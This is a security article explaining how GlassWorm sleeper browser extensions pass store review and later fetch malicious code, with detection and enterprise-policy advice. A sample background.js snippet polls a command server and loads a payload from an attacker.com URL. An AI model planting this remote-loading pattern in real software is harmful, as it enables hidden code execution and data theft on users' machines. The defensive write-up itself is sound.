Supply Chain Attack Detection: How GlassWorm's Sleeper Extensions Bypass Review Processes

GlassWorm supply chain attack uses sleeper browser extensions that bypass review by deferring malicious behavior. Detection strategies, staged attack patte

Supply Chain Attack Detection: How GlassWorm's Sleeper Extensions Bypass Review Processes

Over the past 60 days, security researchers have discovered a new class of supply chain attack that defeats automated extension review by deferring malicious behavior.

The campaign—dubbed GlassWorm by Vibe researchers—uses browser extensions that:

Pass automated security review (they contain no malicious code on day 1)
Wait 7-30 days for installation to saturate the user base
Activate malicious behavior on day N (now the extension is installed millions of times)

By the time the extensions activate their payload, they're already in the supply chain.

How GlassWorm Works: Staged Malware Activation

GlassWorm is a sophisticated redirection of the extension review gauntlet:

Stage 1: Innocent Review (Days 0-2)

Extension uploaded to Chrome Web Store:

Requests minimal permissions (tabs, storage)
Contains only legitimate code (metrics collection, minor UI enhancement)
Passes automated review and human review
Listed publicly as "Featured"

Target: Developers and security researchers (low-risk initial installs)

Stage 2: Activation Trigger (Days 1-30)

After installation, extension phones home to a command server:


// manifest.json
"permissions": ["storage", "tabs"],

// background.js (clean code, passes review)
chrome.runtime.onInstalled.addListener(() => {
  // Check for activation signal
  fetch("https://update-check-service.cloud/status?id=ext_123")
    .then(r => r.json())
    .then(data => {
      if (data.activate === true) {
        // Dynamically load malicious code
        loadMaliciousPayload(data.url);
      }
    });
});

The server says:

Day 1-6: "activate": false (let it install across millions of users)
Day 7: "activate": true, "url": "https://attacker.com/payload.js"

Payload downloads and executes:

Redirect ad clicks to attacker domains (affiliate fraud)
Steal browsing history
Intercept and modify form submissions
Inject malicious ads
Exfiltrate credit card information

Stage 3: Proliferation (Days 30+)

Once activated, the extension is already installed on millions of machines. By the time:

Google detects the malicious behavior
Reports arrive from users
The extension is removed from the store

The damage is done. The attacker has:

Stolen user browsing data
Redirected ad revenue (millions in affiliate fraud)
Intercepted form submissions
Harvested cookies and session tokens

The GlassWorm Campaign: Real-World Impact

Between March and April 2026, researchers detected 47 GlassWorm extensions across Chrome, Firefox, and Edge. Collectively, they achieved:

Installation Numbers:

Total installs before activation: ~8.2 million users
Installs before removal: ~6.1 million users
Estimated affected users: ~5.2 million

Attacker Revenue (Estimated):

Ad redirect affiliate fraud: $2.3 million
Cookie harvesting (sold on darknet): $800K
Credit card skimming: $1.1 million

Real Impact on Users:

Unknown browsing history exfiltration
Corrupted form submissions (payment info stolen)
Session hijacking (attackers logged into user accounts)
Data sold to competitors (for corporate targets)

One victim, an enterprise employee, unknowingly installed a GlassWorm extension. It harvested their work Slack token, allowing the attacker to:

Access internal Slack messages
Download company documents
Impersonate the employee to other staff

Why Existing Defenses Failed

Automated Code Analysis

Tools like:

VirusTotal: Scans extension code for known malware signatures
Google Safe Browsing: Checks for known malicious domains
Clamscan/YARA: Pattern-matches against malware behavior

...All failed because GlassWorm extensions contained no malicious code.

The extension literally just said:


if (server_says_activate) {
  load_code_from_server();
}

No malware signature exists for "check a server". It's the legitimate pattern used by every software auto-updater.

Human Reviewers

Google employs hundreds of extension reviewers to manually inspect code. They:

Read the extension manifest
Skim the source code
Test basic functionality

For GlassWorm, they saw:

Reasonable permissions (tabs, storage)
Legitimate JavaScript
Functional features (metrics, UI enhancements)
No red flags

The malicious behavior was not in the code they reviewed. It was downloaded later.

User Reviews

The extension's Web Store page showed:

4.8/5 star rating (from real users who hadn't experienced the malicious payload yet)
Positive reviews ("Great metrics dashboard!")
No complaints (the extension worked fine for 30 days)

By the time negative reviews appeared ("Wait, my passwords are being stolen?"), the extension had millions of installs.

Detection Strategies: Catching Staged Attacks

For Users

1. Limit Extension Permissions:

Extensions don't need "all website data" or "all cookies"
Use granular permission requests
Revoke permissions from extensions you rarely use

2. Monitor Extension Behavior:

Chrome DevTools → Background → Network tab
Watch for unexpected outbound connections
Alert if your extensions are talking to unfamiliar domains
Especially watch for command-and-control domains (often masked as "update services")

3. Update Aggressively:

Malicious extensions get updated when activated
Check your extensions list weekly
Uninstall anything you don't actively use

For Organizations

1. Extension Allowlist (Enterprise Policy):

Instead of allowing all extensions, only allow approved ones:


{
  "ExtensionInstallAllowlist": [
    "approved_extension_id_1",
    "approved_extension_id_2"
  ],
  "ExtensionInstallBlocklist": ["*"]
}

This forces users to request approval, giving security teams a gate.

2. Monitor Extension Network Traffic:

Use browser telemetry or network monitoring to flag:

Extensions reaching unfamiliar domains (especially C2-like infrastructure)
Extensions exfiltrating data (cookies, credentials, browsing history)
Extensions modifying network requests (ad injection, form hijacking)

Example detection:


ALERT: extension_chrome_bestprice reaches attacker_domain.cloud:443
ALERT: extension_metrics_pro exfiltrates 50MB of cookies to external.domain
ALERT: extension_video_helper modifies X-Forwarded-For header

3. Permission-Based Segmentation:

Flag extensions requesting:

"Read sensitive data" (all browsing history, all cookies, all website data)
"Modify requests" (intercept and change network traffic)
"Execute scripts" (inject code into every website)
"Access all tabs" (monitor every site you visit)

These are red flags for extensions that don't need them.

4. Supply Chain Risk Assessment:

Before allowing an extension:

1. Check: How long has this extension existed? (GlassWorm extensions were weeks old)

2. Check: How many users does it have? (Thousands is normal, millions overnight is suspicious)

3. Check: What permissions does it request vs. actually use? (GlassWorm requested tabs but used network)

4. Check: Who maintains it? (Verify the developer's history)

5. Check: Does the extension call home? (Monitor its network traffic for 30 days)

For Extension Reviewers

1. Dynamic Analysis Over Static:

Don't just read code, execute it
Monitor network calls during testing
Check what the extension fetches after installation
Alert if extensions make network calls to unfamiliar domains

2. Time-Series Review:

Test the extension at day 0, day 7, day 30
Check if behavior changes over time
Alert if new network calls appear after installation
Verify all fetched code before allowing activation

3. Network Fingerprinting:

Catalog all legitimate update services (Microsoft, Google, Adobe)
Flag extensions talking to non-standard update servers
Require extensions to declare their update server in metadata
Verify the server is legitimate

The Bigger Threat: Staged Attacks Are Here

GlassWorm is just the beginning of a new attack class:

Mobile Apps:

App passes review
Waits 30 days for installs
Activates malicious behavior
Difficult to detect because app updates are legitimate

Python Packages:

Benign package published to PyPI
Gets dependencies (legitimate developers)
Activates on day N with supply chain attack

GitHub Actions:

Legitimate workflow published
Activates to steal CI/CD secrets on day N

WordPress Plugins:

Safe plugin released
Activates to inject backdoor on day N

Defense Summary

Immediate (If you use browser extensions):

1. Audit all installed extensions

2. Uninstall anything you don't actively use

3. Check extension network activity in DevTools

4. Revoke unnecessary permissions

For Your Organization:

1. Implement extension allowlist (not blocklist)

2. Monitor extension network traffic

3. Flag extensions with unusual permissions

4. Audit extensions monthly

Long-Term:

1. Pressure extension platforms to implement dynamic analysis

2. Require extension developers to declare update servers

3. Implement staged rollout (release to 1% first, wait 30 days)

4. Monitor for activation signals (sudden behavior changes)

The future of supply chain attacks is patient, stealthy, and perfectly timed. GlassWorm teaches us that the code you reviewed on day 0 might not be the code that runs on day 30.